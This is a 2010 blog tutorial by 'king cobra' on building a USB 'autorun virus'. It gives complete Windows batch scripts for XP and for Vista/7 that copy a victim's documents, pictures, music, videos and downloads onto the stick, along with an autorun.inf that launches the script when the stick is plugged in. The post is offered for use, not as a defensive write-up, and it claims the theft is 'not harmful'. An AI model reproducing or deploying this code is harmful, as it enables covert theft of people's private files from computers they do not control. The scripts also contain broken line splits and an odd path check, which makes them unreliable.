Pages

autorun virus that steals files with usb


Autorun virus that steals files with a USB

Posted by king cobra at Wednesday, October 13, 2010
What i am going to teach you is how to make an autorun virus that steals files as soon as its plugged into a computer this is not

harmful to the other persons computer at all.

OK so first plug in your usb then navigate your way to it.
Then we are gonna copy and paste this batch code that will steal the files

IF WINDOWS XP USE THIS BATCH

Code

@echo off
:CHECK
if not exist "%&&&&%\Copied_files" md "%&&&&%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR


:COPIER
if not exist "%&&&&%\Copied_files\%computername%" md "%&&&&%\Copied_files\%computername%"
if not exist "%&&&&%\Copied_files\%computername%\VIDEOS" md "%&&&&%\Copied_files\%computername%\VIDEOS"
if not exist "%&&&&%\Copied_files\%computername%\PICTURES" md


"%&&&&%\Copied_files\%computername%\PICTURES"
if not exist "%&&&&%\Copied_files\%computername%\MUSIC" md "%&&&&%\Copied_files\%computername%\MUSIC"
if not exist "%&&&&%\Copied_files\%computername%\DOWNLOADS" md


"%&&&&%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%&&&&%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%&&&&%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%&&&&%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%&&&&%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%&&&&%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit
:ERROR
exit


IF VISTA OR WINDOWS7 USE THIS BATCH

Code :

@echo off
:CHECK
if not exist “%&&&&%\Copied_files” md “%&&&&%\Copied_files”
if exist “%systemdrive%\files” goto COPIER7
goto ERROR
:COPIER7
if not exist “%&&&&%\Copied_files\%computername%” md “%&&&&%\Copied_files\%computername%”
if not exist “%&&&&%\Copied_files\%computername%\VIDEOS” md “%&&&&%\Copied_files\%computername%\VIDEOS”
if not exist “%&&&&%\Copied_files\%computername%\PICTURES” md


“%&&&&%\Copied_files\%computername%\PICTURES”
if not exist “%&&&&%\Copied_files\%computername%\MUSIC” md “%&&&&%\Copied_files\%computername%\MUSIC”
if not exist “%&&&&%\Copied_files\%computername%\DOWNLOADS” md


“%&&&&%\Copied_files\%computername%\DOWNLOADS”
copy /y “%userprofile%\Documents\*.*” “%&&&&%\Copied_files\%computername%”
copy /y “%userprofile%\Videos” “%&&&&%\Copied_files\%computername%\VIDEOS”
copy /y “%userprofile%\Music” “%&&&&%\Copied_files\%computername%\MUSIC”
copy /y “%userprofile%\Pictures” “%&&&&%\Copied_files\%computername%\PICTURES”
copy /y “%userprofile%\Downloads” “%&&&&%\Copied_files\%computername%\DOWNLOADS”
MSG %username% “DONE!”
exit
:ERROR
exit

Now replace &&&& with the name of your usb. For example my usb's name is Firesale.
Then save it as Filestealer.bat or whatever you want.

How this batch file works is that it uses the MD command or the Make Directory command to make the Copied_files folder and the

files inside it. Then it navigates its way to the selecected folders and pastes them there.

Now to make this file autorun when we plug it in we are going to have to make another txt file.
Now open this file and inside paste this

Code:
[autorun]
Open=&&&&.bat
Action=File Copier

So now replace the &&&& with whatever u saved the batch file as.
Now we are gonna save it as autorun.inf

And then take your usb out and plug it back in and the files will be copied.
If there not automatically copied there will be an interface with option like "play with music player" and "read only" scroll down and u will find File copier
If you have any questions please ask!

Any rep is apreciated